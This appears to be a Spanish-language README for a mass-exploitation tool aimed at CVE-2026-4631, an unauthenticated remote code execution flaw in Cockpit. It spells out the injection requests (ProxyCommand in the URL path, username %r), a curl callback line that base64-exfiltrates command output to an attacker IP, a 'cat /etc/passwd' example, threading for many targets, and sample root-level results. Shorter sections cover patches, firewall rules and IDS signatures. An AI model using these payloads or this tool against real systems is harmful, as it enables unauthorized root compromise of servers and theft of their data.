CVE-2026-4631 — Herramienta de Explotación Masiva de Cockpit

Ejecución Remota de Código no Autenticada mediante Inyección de Argumentos en la Línea de Comandos SSH Versiones de Cockpit 327 – 359 | CVSS 9.8 Crítico | CWE-78

Herramienta de explotación masiva para CVE-2026-4631 en el servicio web Cockpit (cockpit-ws, puerto 9090). Soporta modo de escaneo de vulnerabilidad, modo RCE con captura de salida de comandos mediante un listener HTTP callback integrado, modo --auto (escanea y explota en una sola ejecución con el comando id por defecto), agregado automático del puerto :9090 para objetivos sin puerto, ambos vectores de ataque (ProxyCommand + inyección de username %r), objetivos masivos desde archivo, concurrencia con hilos y salida estructurada de resultados.

Autor: 0xNuts

Inicio Rápido

Clonar e Instalar

git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

Preparar Objetivos

Edite targets.txt — un host por línea. El puerto :9090 se agregará automáticamente si no está presente:

192.168.1.10
cockpit.example.com
https://manage.lab.local

Ejecutar (Modo AUTO — Recomendado)

# Escanea y explota en una sola ejecución, comando por defecto "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATACANTE>

# Ejemplo de salida en results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

Otros Modos

# Solo escaneo de vulnerabilidad (sin explotar)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE explícito con comando personalizado
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATACANTE>

# Objetivo único
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATACANTE>

Nota sobre el Callback

CVE-2026-4631 es un RCE ciego — la salida del comando no se devuelve en la respuesta HTTP. La herramienta utiliza un listener HTTP integrado (puerto por defecto 8888) para capturar la salida. Asegúrese de:

1. --callback-ip es una IP accesible desde el objetivo (no 127.0.0.1)
2. El firewall permite tráfico entrante TCP en el puerto 8888 (o --listener-port personalizado)
3. El objetivo puede hacer solicitudes HTTP salientes hacia la IP del atacante

Cómo Corregir / Mitigar (Defensor)

1. Actualizar Cockpit (Obligatorio)

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verificar la versión (debe ser >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. Deshabilitar el Inicio de Sesión Remoto (Solución Temporal)

Edite /etc/cockpit/cockpit.conf:

[WebService]
LoginTo = false

Reinicie el servicio:

sudo systemctl restart cockpit

3. Segmentación de Red

Restrinja el puerto 9090 solo a la red de administración:

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. Actualizar OpenSSH >= 9.6

Mitiga el Vector 1 (inyección ProxyCommand) mediante validación temprana del nombre de host:

ssh -V   # debe ser OpenSSH_9.6 o superior

5. Parche Manual (Backport)

Si no se puede actualizar a la versión 360, aplique los commits del parche:

• cockpit 9d0695647 — agregar separador -- en beiboot.py y cockpitauth.c
• ferny 44ec511c99 — agregar -- en session.py

Detalles del parche: consulte docs/PATCH_ANALYSIS.md

Índice

1. Resumen de la Vulnerabilidad
2. Vector de Ataque
3. Requisitos Previos para la Explotación
4. Instalación
5. Uso
6. Modos de Operación
7. Ejemplos de Ejecución
8. Formato de Salida
9. Arquitectura de la Herramienta
10. Estructura de Archivos
11. Mecanismo de Captura de RCE Ciego
12. Detección y Mitigación
13. Descargo de Responsabilidad Legal
14. Referencias

Resumen de la Vulnerabilidad

Cockpit v327 reemplazó cockpit-ssh (libssh) con python3 -m cockpit.beiboot, que invoca el cliente ssh de OpenSSH del sistema. La entrada controlada por el usuario — nombre de host de la ruta URL y nombre de usuario del encabezado Authorization: Basic — se pasa a ssh sin saneamiento y sin el separador -- de fin de opciones. La inyección ocurre antes de la verificación de credenciales, por lo que no se necesita un inicio de sesión válido.

Vector de Ataque

Vector 1 — Inyección de ProxyCommand (Principal)

El nombre de host de la ruta URL se inyecta con la opción SSH -oProxyCommand=<comando>.

GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: objetivo:9090
Authorization: Basic base64("x:x")

SSH interpreta -oProxyCommand=<comando> como una opción y ejecuta <comando> como ProxyCommand. El comando se ejecuta como el proceso de usuario cockpit-ws.

Requisito previo: OpenSSH < 9.6 en el objetivo. OpenSSH 9.6+ tiene validación temprana del nombre de host que bloquea metacaracteres.

Vector 2 — Inyección del Token %r en el Nombre de Usuario (Secundario)

El nombre de usuario del encabezado Authorization: Basic se inyecta con un comando de shell.

GET /cockpit+=legit-host/login HTTP/1.1
Host: objetivo:9090
Authorization: Basic base64("x; <CM D>; #:x")

SSH expande %r con el nombre de usuario en la directiva Match exec → el shell ejecuta el comando inyectado.

Requisito previo: el ssh_config del objetivo tiene una directiva Match exec con el token %r.

Requisitos Previos para la Explotación

Lado del Atacante (máquina que ejecuta la herramienta)

• Python 3.8+
• IP accesible desde el objetivo Cockpit (para el listener de callback)
• Puerto abierto para el listener (por defecto 8888)
• Firewall permitiendo tráfico entrante desde el objetivo hacia el puerto del listener

Lado del Objetivo (instancia Cockpit)

• Versión de Cockpit 327 – 359
• Puerto 9090 accesible
• La función de inicio de sesión remoto (LoginTo) no está deshabilitada
• Para Vector 1: OpenSSH < 9.6
• Para Vector 2: ssh_config con Match exec %r

Instalación

# Clonar desde GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Instalar dependencias
pip install -r requirements.txt

# Verificar
python3 exploit.py --help

Dependencias

• requests>=2.31 — Cliente HTTP para las solicitudes de exploit
• colorama>=0.4 — Salida de terminal coloreada

No hay dependencias adicionales para el listener (usa http.server + threading de la biblioteca estándar).

Uso

usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection

optional arguments:
  -h, --help            show this help message and exit
  -t, --target          single target URL/host (port auto-added jika absent)
  -f, --file            file containing list of targets (one per line)
  --default-port        port yang di-append jika target tanpa port (default: 9090)
  -c, --cmd             command to execute (default: "id" pada mode --auto / RCE)
  --scan                vulnerability scan mode (no RCE, probe endpoint only)
  --auto                scan + exploit sekali jalan, command default "id"
  --vector              exploit vector: auto|proxycommand|username (default: auto)
  -o, --output          result output file (default: results.txt)
  --callback-ip         attacker IP reachable from target (for callback listener)
  --listener-port       callback listener port (default: 8888)
  --threads             concurrent workers (default: 10)
  --timeout             seconds to wait for callback per target (default: 10)
  --delay               delay between requests in seconds (default: 0)
  --proxy               HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
  --user-agent          custom User-Agent string
  -v, --verbose         verbose output (debug)
  --no-color            disable colored output

Modos de Operación

Modo 1 — Escaneo de Vulnerabilidad (--scan)

Sondea el endpoint /cockpit+=probe-host/login sin explotar. Detecta:

• Huella digital de Cockpit mediante encabezados/cuerpo de respuesta
• Flujo de inicio de sesión vulnerable activo (código de respuesta 401/403/200/500)
• Inferencia de versión si es posible

No envía payload malicioso, no necesita listener de callback.

Modo 2 — RCE con Captura de Comando (-c "comando")

Ejecuta un comando en el objetivo y captura la salida mediante callback:

• Inicia un listener HTTP en segundo plano
• El payload ProxyCommand envuelve el comando con curl para exfiltrarlo al listener
• La salida se codifica en base64 y se envía mediante POST al listener
• El listener decodifica y empareja la salida con el objetivo mediante un ID de solicitud
• El resultado se escribe en el archivo de salida
• Si no se especifica -c, el comando por defecto es id

Modo 3 — AUTO (--auto) — Recomendado

Escanea y explota en una sola pasada, comando por defecto id:

1. Analiza la lista de objetivos (agrega automáticamente el puerto 9090 si falta)
2. Inicia el listener de callback
3. Por objetivo: escanea → si es VULNERABLE, explota inmediatamente con id (o -c si se especifica)
4. Los objetivos NO VULNERABLES / INALCANZABLES se saltan (no se explotan)
5. Resultado: host [ uid=0(root) ... ]

Modo 4 — Vector Automático (--vector auto)

Intenta primero con el Vector 1 (ProxyCommand). Si la respuesta muestra OpenSSH >= 9.6 (error de validación del nombre de host), cae en el Vector 2 (username %r).

Normalización Automática de Puertos

Cada entrada en targets.txt sin puerto se le agrega :9090 automáticamente:

host              → http://host:9090
host:9090         → http://host:9090
https://host      → https://host:9090
192.168.1.10      → http://192.168.1.10:9090
[::1]             → http://[::1]:9090

Ejemplos de Ejecución

AUTO — Escaneo y Explotación (Recomendado)

# Objetivo sin puerto → se agrega :9090 automáticamente, comando por defecto "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10

# Sobrescribir comando
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10

Salida results.txt:

# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]

Escaneo de Vulnerabilidad — Objetivos Múltiples

python3 exploit.py -f targets.txt --scan -o scan_results.txt

Salida scan_results.txt:

target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]

RCE — Objetivo Único

python3 exploit.py -t objetivo -c "id" --callback-ip 10.10.10.10
# equivalente: -t http://objetivo:9090/

Salida:

objetivo:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

RCE — Objetivos Múltiples con Captura de Comando

python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20

RCE — Vector Específico

# Forzar Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand

# Forzar Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username

Ajuste de Concurrencia y Tiempo de Espera

python3 exploit.py -f targets.txt -c "id" \
  --callback-ip 10.10.10.10 \
  --listener-port 9999 \
  --threads 50 \
  --timeout 15 \
  --delay 0.2

Depuración mediante Proxy

python3 exploit.py -t http://objetivo:9090/ -c "id" --proxy http://127.0.0.1:8080 -v

Formato de Salida

Formato del archivo de resultados: una línea por objetivo:

<host> [ <estado_o_salida> ]

El encabezado del archivo de resultados registra la fecha y hora, el comando, el vector y la cantidad de objetivos.

Arquitectura de la Herramienta

flowchart TD
    CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
    CLI --> Engine["core/engine.py<br/>orchestrator"]
    Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
    Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
    Pool --> Scanner["core/scanner.py<br/>vuln probe"]
    Pool --> Exploit["core/exploit.py<br/>payload generator"]
    Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
    Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
    Req2 --> Target["Cockpit target :9090"]
    Target -->|"blind RCE<br/>curl callback"| Listener
    Listener --> Shared["shared dict<br/>REQID -> output"]
    Engine --> Result["utils/result.py<br/>write results.txt"]
    Shared --> Engine

Componentes

• exploit.py — punto de entrada, analiza argumentos, envía al motor, muestra el banner
• core/target.py — lee -f archivo / -t url, normaliza (agrega http://, puerto por defecto 9090), deduplica
• core/scanner.py — modo --scan, sondea el endpoint, identifica Cockpit, infiere vulnerabilidad
• core/exploit.py — genera payload por vector, envía la solicitud de exploit mediante requests
• core/listener.py — ThreadingHTTPServer en --callback-ip:--listener-port, analiza ?id=REQID&out=BASE64, guarda en diccionario compartido
• core/engine.py — orquestador: inicia el listener, crea ThreadPoolExecutor, empareja callback con objetivo mediante ID de solicitud, maneja tiempos de espera, escribe resultados
• utils/banner.py — banner ASCII
• utils/result.py — escritor de archivo de resultados con formato host [ output ]

Estructura de Archivos

CVE-2026-4631-cockpit-RCE/
├── exploit.py                  # punto de entrada CLI
├── requirements.txt            # dependencias
├── README.md                   # este documento
├── targets.txt                 # ejemplo de lista de objetivos
├── results.txt                 # salida (generada)
├── core/
│   ├── __init__.py
│   ├── target.py               # analizador de objetivos
│   ├── scanner.py              # modo de escaneo de vulnerabilidades
│   ├── exploit.py              # generador y enviador de payloads
│   ├── listener.py             # servidor HTTP de callback
│   └── engine.py               # orquestador
├── utils/
│   ├── __init__.py
│   ├── banner.py               # banner ASCII
│   └── result.py               # escritor de resultados
└── docs/
    ├── VULN_ANALYSIS.md        # análisis detallado de la vulnerabilidad
    ├── PATCH_ANALYSIS.md       # análisis de los commits del parche
    └── DETECTION.md            # firmas de detección

Mecanismo de Captura de RCE Ciego

CVE-2026-4631 es un RCE ciego — la salida del comando no se devuelve en la respuesta HTTP de Cockpit. La herramienta lo resuelve mediante un listener HTTP de callback integrado:

Flujo

1. Inicio del listener — servidor HTTP con hilos escucha en --callback-ip:--listener-port
2. Generación de REQID — por objetivo, UUID4 hexadecimal de 8 caracteres único
3. Construcción del payload — ProxyCommand envuelve el comando con curl para exfiltración:
   root@kitploit:~

   bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
   

4. Codificación URL del payload — se inyecta en el campo hostname:
   root@kitploit:~

   GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
   Authorization: Basic base64("x:x")
   

5. Envío de la solicitud — mediante requests.get, verify=False para certificados autofirmados
6. Espera del callback — sondea el diccionario compartido results[REQID] hasta el --timeout
7. Emparejamiento y decodificación — si llega el callback, decodifica la salida base64 y la empareja con el objetivo mediante REQID
8. Escritura del resultado — host [ salida_decodificada ] en el archivo de salida

Alternativa Sin Callback

Si se agota el tiempo de espera sin callback, verifica el error SSH en la respuesta:

• Error de validación del nombre de host → OpenSSH >= 9.6, Vector 1 bloqueado → VULN - no callback (OpenSSH >= 9.6?)
• Error de conexión → UNREACHABLE
• Endpoint no existe → NOT VULN

Concurrencia

• ThreadPoolExecutor(max_workers=--threads) paralelo por objetivo
• Diccionario compartido dict[REQID] -> target_host + dict[REQID] -> output con threading.Lock
• ThreadingHTTPServer maneja callbacks concurrentes
• Por objetivo: try/except para errores de conexión, SSL, tiempo de espera

Detección y Mitigación

Firma IDS de Red

GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

Vigile:

• -oProxyCommand= en la ruta URL
• Punto y coma (;) en el valor decodificado de Authorization: Basic

Búsqueda en Registros

journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"

Mitigación

1. Actualizar Cockpit >= 360 (solución obligatoria)
2. Deshabilitar el inicio de sesión remoto — /etc/cockpit/cockpit.conf:
   root@kitploit:~

   [WebService]
   LoginTo = false
   

3. Segmentación de red — restringir el puerto 9090 a la red de administración:
   root@kitploit:~

   iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
   iptables -A INPUT -p tcp --dport 9090 -j DROP
   

4. Actualizar OpenSSH >= 9.6 — mitiga el Vector 1 (validación temprana del nombre de host)

Verificación de Versión

dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian/Ubuntu
rpm -q cockpit-ws                            # RHEL/Fedora
# Vulnerable: 327 <= version <= 359

Descargo de Responsabilidad Legal

Esta herramienta está diseñada para pruebas de penetración autorizadas, investigación en seguridad y validación de vulnerabilidades en sistemas que usted posea o para los cuales tenga permiso por escrito para realizar pruebas.

El uso de esta herramienta en sistemas sin el permiso explícito del propietario es ilegal y puede conllevar sanciones penales según las leyes aplicables.

El autor no se hace responsable del mal uso de esta herramienta. Úsela de manera ética y responsable.

Casos de uso autorizados:

• Auditoría de seguridad en infraestructura propia
• Compromisos de pruebas de penetración con alcance documentado
• Validación de parches en entornos de laboratorio
• CTF y capacitación en seguridad

Referencias

Licencia

Para fines de investigación y pruebas autorizadas. No para distribución comercial sin permiso.